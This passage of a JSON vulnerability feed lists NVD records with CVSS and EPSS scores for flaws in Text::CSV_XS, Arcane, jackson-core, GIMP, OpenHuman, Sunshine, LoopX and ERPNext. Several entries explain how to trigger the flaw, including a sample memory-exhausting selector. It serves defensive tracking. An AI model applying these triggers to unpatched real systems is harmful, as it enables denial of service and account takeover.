fixes.","publishedAt":"2026-10-16T23:17:00.740Z","updatedAt":"2026-10-20T19:17:29.850Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110755","asOf":"2026-10-20T19:17:29.850Z"},"epss":{"probability":0.00408,"percentile":0.34815,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110755&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110755","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110755","type":"primary","publishedAt":"2026-10-16T23:17:00.740Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110755&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110755, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110752","cveId":"CVE-2026-110752","aliases":[],"kind":"vulnerability","title":"Text::CSV_XS versions before 1.65 for Perl allow memory exhaustion by allocating one entry per index of an RFC 7111 selector in fragment.","summary":"Text::CSV_XS versions before 1.65 for Perl allow memory exhaustion by allocating one entry per index of an RFC 7111 selector in fragment.\n\nfragment expands a row= or col= selector into an array with one element per selected index before it reads any data, and it does not clamp an explicit end column in a cell= selector to the row. Only the syntax and order of the ranges are checked, so row=1-400000000 on a two-line file allocates 400 million elements.\n\nAn application that passes a request-supplied fragment to fragment or csv can be made to exhaust memory, which ends the process with an Out of memory error that eval cannot catch.","detail":"Text::CSV_XS versions before 1.65 for Perl allow memory exhaustion by allocating one entry per index of an RFC 7111 selector in fragment.\n\nfragment expands a row= or col= selector into an array with one element per selected index before it reads any data, and it does not clamp an explicit end column in a cell= selector to the row. Only the syntax and order of the ranges are checked, so row=1-400000000 on a two-line file allocates 400 million elements.\n\nAn application that passes a request-supplied fragment to fragment or csv can be made to exhaust memory, which ends the process with an Out of memory error that eval cannot catch.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T23:17:00.410Z","updatedAt":"2026-10-20T19:17:29.383Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110752","asOf":"2026-10-20T19:17:29.383Z"},"epss":{"probability":0.00408,"percentile":0.34815,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110752&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110752","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110752","type":"primary","publishedAt":"2026-10-16T23:17:00.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110752&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110752, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96627","cveId":"CVE-2026-96627","aliases":[],"kind":"vulnerability","title":"Arcane is an interface for managing Docker containers, images, networks, and volumes.","summary":"Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 2.6.0, UpdateUser in backend/api/handlers/users.go sets PasswordHash for any target without comparing caller and target privilege. A holder of delegated users:update permission can submit a password change for the global administrator, replace the administrator password, and authenticate as that account, resulting in complete global administrator account takeover. This issue is fixed in version 2.6.0.","detail":"Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 2.6.0, UpdateUser in backend/api/handlers/users.go sets PasswordHash for any target without comparing caller and target privilege. A holder of delegated users:update permission can submit a password change for the global administrator, replace the administrator password, and authenticate as that account, resulting in complete global administrator account takeover. This issue is fixed in version 2.6.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T22:18:58.227Z","updatedAt":"2026-10-19T15:17:09.873Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96627","asOf":"2026-10-19T15:17:09.873Z"},"epss":{"probability":0.0029,"percentile":0.21313,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96627&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96627","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96627","type":"primary","publishedAt":"2026-10-16T22:18:58.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96627&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96627, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96626","cveId":"CVE-2026-96626","aliases":[],"kind":"vulnerability","title":"Arcane is an interface for managing Docker containers, images, networks, and volumes.","summary":"Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 2.5.0, UpdateRegistry and TestRegistry in backend/api/services/container_registry_service.go allow the registry URL to change while preserving the stored encrypted token. When a holder of registries:update and registries:test repoints a generic registry URL without supplying a replacement token, TestRegistry decrypts the preserved token and RegistryLogin sends it to the attacker-controlled host because normalizeRegistryServerAddressInternal does not restrict the destination. This exposes the stored container-registry PAT or password and can enable image access or tampering. This issue is fixed in version 2.5.0.","detail":"Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 2.5.0, UpdateRegistry and TestRegistry in backend/api/services/container_registry_service.go allow the registry URL to change while preserving the stored encrypted token. When a holder of registries:update and registries:test repoints a generic registry URL without supplying a replacement token, TestRegistry decrypts the preserved token and RegistryLogin sends it to the attacker-controlled host because normalizeRegistryServerAddressInternal does not restrict the destination. This exposes the stored container-registry PAT or password and can enable image access or tampering. This issue is fixed in version 2.5.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T22:18:58.070Z","updatedAt":"2026-10-16T22:18:58.193Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96626","asOf":"2026-10-16T22:18:58.193Z"},"epss":{"probability":0.00216,"percentile":0.11939,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96626&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96626","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96626","type":"primary","publishedAt":"2026-10-16T22:18:58.070Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96626&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96626, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-68498","cveId":"CVE-2026-68498","aliases":[],"kind":"vulnerability","title":"StreamReadConstraints.maxNameLength (default 50,000 characters) is intended to bound how much memory a single JSON Object property name can consume while being parsed,...","summary":"StreamReadConstraints.maxNameLength (default 50,000 characters) is intended to bound how much memory a single JSON Object property name can consume while being parsed, independently of the much larger maxStringLength (default 100,000,000 characters) that bounds ordinary string values. For parsers built over character input — Reader, String or char[] sources, all served by ReaderBasedJsonParser — that bound is not applied while the name is being accumulated. The code path instead re-uses the string-value length check, which is roughly 2000x larger by default.\n\n\n\nIn the character-input slow path, ReaderBasedJsonParser._parseName2() accumulates the name into the TextBuffer and, when a segment fills, calls TextBuffer.finishCurrentSegment(), which validates only maxStringLength. The correct check, StreamReadConstraints.validateNameLength(int), is reached afterwards in CharsToNameCanonicalizer.findSymbol(), once the entire name has been scanned to its closing quote. By that point the full name — up to maxStringLength characters — has already been buffered in memory.\n\n\n\nA remote attacker who can have a single sufficiently long JSON Object property name parsed through this path can force allocation on the order of 100,000,000 characters (approximately 200 MB, with segment bookkeeping pushing real peak usage higher) before any StreamConstraintsException is thrown, instead of the approximately 50,000-character (about 100 KB) bound the API promises. Repeating this across concurrent requests can exhaust the heap and crash the process. No authentication or user interaction is required. Because StreamReadConstraints.maxDocumentLength is disabled by default (-1), nothing else bounds the token first, so the issue is exploitable under default configuration.\n\n\n\nByte-input parsers are not affected: UTF8StreamJsonParser, UTF8DataInputJsonParser and the non-blocking (async) parsers re-validate maxNameLength on every growth of the name-decode buffer via ParserBase._growNameDecodeBuffer(), rejecting an oversized name after allocating only tens of kilobytes. Applications are exposed when untrusted JSON is parsed from a String, Reader or char[] — for example an HTTP request body already","detail":"StreamReadConstraints.maxNameLength (default 50,000 characters) is intended to bound how much memory a single JSON Object property name can consume while being parsed, independently of the much larger maxStringLength (default 100,000,000 characters) that bounds ordinary string values. For parsers built over character input — Reader, String or char[] sources, all served by ReaderBasedJsonParser — that bound is not applied while the name is being accumulated. The code path instead re-uses the string-value length check, which is roughly 2000x larger by default.\n\n\n\nIn the character-input slow path, ReaderBasedJsonParser._parseName2() accumulates the name into the TextBuffer and, when a segment fills, calls TextBuffer.finishCurrentSegment(), which validates only maxStringLength. The correct check, StreamReadConstraints.validateNameLength(int), is reached afterwards in CharsToNameCanonicalizer.findSymbol(), once the entire name has been scanned to its closing quote. By that point the full name — up to maxStringLength characters — has already been buffered in memory.\n\n\n\nA remote attacker who can have a single sufficiently long JSON Object property name parsed through this path can force allocation on the order of 100,000,000 characters (approximately 200 MB, with segment bookkeeping pushing real peak usage higher) before any StreamConstraintsException is thrown, instead of the approximately 50,000-character (about 100 KB) bound the API promises. Repeating this across concurrent requests can exhaust the heap and crash the process. No authentication or user interaction is required. Because StreamReadConstraints.maxDocumentLength is disabled by default (-1), nothing else bounds the token first, so the issue is exploitable under default configuration.\n\n\n\nByte-input parsers are not affected: UTF8StreamJsonParser, UTF8DataInputJsonParser and the non-blocking (async) parsers re-validate maxNameLength on every growth of the name-decode buffer via ParserBase._growNameDecodeBuffer(), rejecting an oversized name after allocating only tens of kilobytes. Applications are exposed when untrusted JSON is parsed from a String, Reader or char[] — for example an HTTP request body already read into a String — rather than from raw UTF-8 bytes.\n\n\n\nThis issue affects com.fasterxml.jackson.core:jackson-core from 2.16.0 and tools.jackson.core:jackson-core from 3.0.0. Releases before 2.16.0 are not affected, because StreamReadConstraints.maxNameLength was first introduced in jackson-core 2.16.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T22:17:25.183Z","updatedAt":"2026-10-20T19:17:40.120Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-68498","asOf":"2026-10-20T19:17:40.120Z"},"epss":{"probability":0.00652,"percentile":0.50937,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-68498&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-68498","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68498","type":"primary","publishedAt":"2026-10-16T22:17:25.183Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-68498&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-68498, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-62439","cveId":"CVE-2026-62439","aliases":[],"kind":"vulnerability","title":"A flaw was found in GIMP. An integer overflow occurs in the file-pvr plug-in when calculating memory buffer sizes for image dimensions.","summary":"A flaw was found in GIMP. An integer overflow occurs in the file-pvr plug-in when calculating memory buffer sizes for image dimensions. By tricking a user into opening or previewing a specially crafted PowerVR (.pvr) file, an attacker can trigger a heap-based buffer overflow, potentially leading to arbitrary code execution or a Denial of Service (DoS) via an application crash.","detail":"A flaw was found in GIMP. An integer overflow occurs in the file-pvr plug-in when calculating memory buffer sizes for image dimensions. By tricking a user into opening or previewing a specially crafted PowerVR (.pvr) file, an attacker can trigger a heap-based buffer overflow, potentially leading to arbitrary code execution or a Denial of Service (DoS) via an application crash.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T22:17:24.440Z","updatedAt":"2026-10-19T21:03:27.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-62439","asOf":"2026-10-19T21:03:27.760Z"},"epss":{"probability":0.00246,"percentile":0.15679,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-62439&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-62439","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62439","type":"primary","publishedAt":"2026-10-16T22:17:24.440Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-62439&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-62439, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-49410","cveId":"CVE-2026-49410","aliases":[],"kind":"vulnerability","title":"OpenHuman is an open-source agent harness available as a desktop application and Rust library.","summary":"OpenHuman is an open-source agent harness available as a desktop application and Rust library. Versions before 0.56.0 allow cross-site request forgery against the unauthenticated GET /auth/telegram loopback callback because telegram_auth_handler consumes an attacker-supplied one-time Telegram login token and passes the returned JWT to credentials::ops::store_session without validating browser fetch metadata or the request origin. An attacker with an OpenHuman account can cause a user with the local core running to visit a malicious page that requests the /auth/telegram endpoint on loopback port 7788, switching the user's active local session to the attacker's backend account and exposing subsequent agent actions, memory writes, and Telegram messages associated with that session to the attacker. This issue is fixed in version 0.56.0.","detail":"OpenHuman is an open-source agent harness available as a desktop application and Rust library. Versions before 0.56.0 allow cross-site request forgery against the unauthenticated GET /auth/telegram loopback callback because telegram_auth_handler consumes an attacker-supplied one-time Telegram login token and passes the returned JWT to credentials::ops::store_session without validating browser fetch metadata or the request origin. An attacker with an OpenHuman account can cause a user with the local core running to visit a malicious page that requests the /auth/telegram endpoint on loopback port 7788, switching the user's active local session to the attacker's backend account and exposing subsequent agent actions, memory writes, and Telegram messages associated with that session to the attacker. This issue is fixed in version 0.56.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T22:17:23.490Z","updatedAt":"2026-10-19T22:17:10.897Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-49410","asOf":"2026-10-19T22:17:10.897Z"},"epss":{"probability":0.00191,"percentile":0.08707,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-49410&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-49410","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-49410","type":"primary","publishedAt":"2026-10-16T22:17:23.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-49410&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-49410, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111044","cveId":"CVE-2026-111044","aliases":[],"kind":"vulnerability","title":"Sunshine is a self-hosted game stream host for Moonlight.","summary":"Sunshine is a self-hosted game stream host for Moonlight. From 2026.329.165800 until 2026.906.222525, Sunshine accepted any client certificate that chained to a stored paired-client certificate, but it did not require the presented certificate to be the exact enabled paired identity. Certificate text was also compared without canonicalizing equivalent PEM encodings. A previously paired client that retains its private key can present an alternate certificate derived from its paired certificate and bypass the Disable control. Equivalent PEM encodings could also cause inconsistent client identity handling. A client that was never paired cannot use this issue, and removing the paired client removes its trust relationship. This issue is fixed in version 2026.906.222525.","detail":"Sunshine is a self-hosted game stream host for Moonlight. From 2026.329.165800 until 2026.906.222525, Sunshine accepted any client certificate that chained to a stored paired-client certificate, but it did not require the presented certificate to be the exact enabled paired identity. Certificate text was also compared without canonicalizing equivalent PEM encodings. A previously paired client that retains its private key can present an alternate certificate derived from its paired certificate and bypass the Disable control. Equivalent PEM encodings could also cause inconsistent client identity handling. A client that was never paired cannot use this issue, and removing the paired client removes its trust relationship. This issue is fixed in version 2026.906.222525.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T22:17:20.610Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111044","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00158,"percentile":0.04859,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111044&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111044","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111044","type":"primary","publishedAt":"2026-10-16T22:17:20.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111044&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111044, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108372","cveId":"CVE-2026-108372","aliases":[],"kind":"vulnerability","title":"Open and provider-neutral, LoopX is a lightweight state kernel and local-first control plane for loop engineering.","summary":"Open and provider-neutral, LoopX is a lightweight state kernel and local-first control plane for loop engineering. From version 0.0.1 until 0.4.5, `loopx serve-status` in `loopx/status_server.py` uses `StatusRequestHandler._send_json()` and `do_OPTIONS()` to send `Access-Control-Allow-Origin: *` for unauthenticated responses on predictable loopback ports. A remote attacker can cause an operator who visits attacker-controlled web content to issue cross-origin requests to `GET /status.json`, `GET /review-material?goal_id=...&path=...`, `GET /`, and `POST /control-plane/configure-goal/dry-run`, exposing control-plane state, goal and run information, local absolute paths, private Markdown files below registered goal roots, and dry-run configuration projections. The affected routes do not provide cross-origin writes or arbitrary-file access. This issue is fixed in version 0.4.5.","detail":"Open and provider-neutral, LoopX is a lightweight state kernel and local-first control plane for loop engineering. From version 0.0.1 until 0.4.5, `loopx serve-status` in `loopx/status_server.py` uses `StatusRequestHandler._send_json()` and `do_OPTIONS()` to send `Access-Control-Allow-Origin: *` for unauthenticated responses on predictable loopback ports. A remote attacker can cause an operator who visits attacker-controlled web content to issue cross-origin requests to `GET /status.json`, `GET /review-material?goal_id=...&path=...`, `GET /`, and `POST /control-plane/configure-goal/dry-run`, exposing control-plane state, goal and run information, local absolute paths, private Markdown files below registered goal roots, and dry-run configuration projections. The affected routes do not provide cross-origin writes or arbitrary-file access. This issue is fixed in version 0.4.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T22:17:14.457Z","updatedAt":"2026-10-21T22:16:46.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108372","asOf":"2026-10-21T22:16:46.707Z"},"epss":{"probability":0.00304,"percentile":0.22962,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108372&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108372","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108372","type":"primary","publishedAt":"2026-10-16T22:17:14.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108372&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108372, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108374","cveId":"CVE-2026-108374","aliases":[],"kind":"vulnerability","title":"ERPNext is a free and open source Enterprise Resource Planning tool.","summary":"ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.121.0 and 16.34.0, certain endpoints for status modification fail to enforce proper authorization checks. A low-privileged authenticated user can invoke state-changing whitelisted methods without required write, submit, cancel, document, or role checks. This allows the user to modify data beyond the user's permitted role. This issue is fixed in versions 15.121.0 and 16.34.0.","detail":"ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.121.0 and 16.34.0, certain endpoints for status modification fail to enforce proper authorization checks. A low-privileged authenticated user can invoke state-changing whitelisted methods without required write, submit, cancel, document, or role checks. This allows the user to modify data beyond the user's permitted role. This issue is fixed in versions 15.121.0 and 16.34.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 